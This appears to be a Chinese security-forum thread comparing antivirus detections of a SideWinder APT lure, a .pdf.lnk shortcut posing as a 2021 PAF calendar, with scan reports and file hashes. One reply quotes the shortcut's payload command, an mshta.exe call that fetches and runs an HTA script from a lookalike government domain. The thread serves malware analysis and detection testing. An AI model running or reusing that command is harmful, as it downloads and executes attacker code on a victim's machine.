#SideWinder #APT (2021-01-03)

anthonyqian

诺顿
文件名: PAF CALENDER 2021.pdf.lnk
威胁名称: CL.Downloader!gen128完整路径: C:\Users\\Downloads\PAF CALENDER 2021.pdf.lnk

____________________________

____________________________


在电脑上
2021/1/3 ( 11:42:32 )

上次使用时间
2021/1/3 ( 11:44:33 )

启动项
否

已启动
否

威胁类型: 启发式病毒。 根据恶意软件启发式技术检测威胁。

____________________________


PAF CALENDER 2021.pdf.lnk 威胁名称: CL.Downloader!gen128
定位


极少用户信任的文件
Norton 社区中有不到 5 名用户 使用了此文件。

极新的文件
该文件已在 不到 1 周 前发行。

高
此文件具有高风险。


____________________________


来源: 外部介质

源文件:
PAF CALENDER 2021.pdf.lnk

____________________________

文件操作

文件: C:\Users\\Downloads\ PAF CALENDER 2021.pdf.lnk 已删除
____________________________


文件指纹 - SHA:
69ebff10731537248163d468d9f9203364dbbbf003b6f208970be898354ebf54
文件指纹 - MD5:
7e7ce69f131454e7099693e23f52eac2

心醉咖啡

毒霸扫描miss

yiyq

fsp扫描miss

LSPD

mcafee miss

Yuki丶

PAF CALENDER 2021.zip.zip=>PAF CALENDER 2021.zip=>PAF CALENDER 2021.pdf.lnk=>(CommandArguments) Heur.BZC.YAX.Nioc.1.04EBA2DB

intherain

1. Emsisoft Anti-Malware - 版本 2020.12
   
2. 最后更新： 2021/1/3 23:11:14
   
3. 
   
4. 操作系统版本： Windows 10x64
   
5. 
   
6. 扫描设置：
   
7. 
   
8. 扫描方式： 自定义扫描
   
9. 对象： C:\Users\Desktop\PAF CALENDER 2021.zip
   
10. 
    
11. 检测非必要程序(PUPs)： 开
    
12. 扫描存档： 开
    
13. 扫描邮件档案： 关
    
14. ADS数据流扫描： 开
    
15. 直接磁盘访问： 关
    
16. 
    
17. 扫描开始：        2021/1/3 23:28:10
    
18. C:\Users\Desktop\PAF CALENDER 2021.zip -> PAF CALENDER 2021.pdf.lnk -> (CommandArguments)         发现风险： Heur.BZC.YAX.Nioc.1.04EBA2DB (B) [krnl.xmd]
    
19. 
    
20. 扫描        1
    
21. 发现        1
    
22. 
    
23. 扫描结束：        2021/1/3 23:28:10
    
24. 扫描时间：        0:00:00

复制代码

ELOHIM

川建国代{过}{滤}理人 发表于 2021-1-3 10:58

你双击了pdf快捷方式吗
C:\Windows\System32\mshta.exe httos://paf.gov-mail.net/13621/1/18844/2/0/0/1390324815/files-b74d99d6/hta

我这里不报毒。

川建国代理人

ELOHIM 发表于 2021-1-4 13:57
你双击了pdf快捷方式吗
C:\Windows\System32\mshta.exe httos://paf.gov-mail.net/13621/1/18844/2/0/0/ ...

也就是说你在添加信任的情况下双击的吧

ELOHIM

川建国代理人 发表于 2021-1-4 18:34
也就是说你在添加信任的情况下双击的吧

我。。。
一个样本我添加信任干嘛啊。。

k2132

智量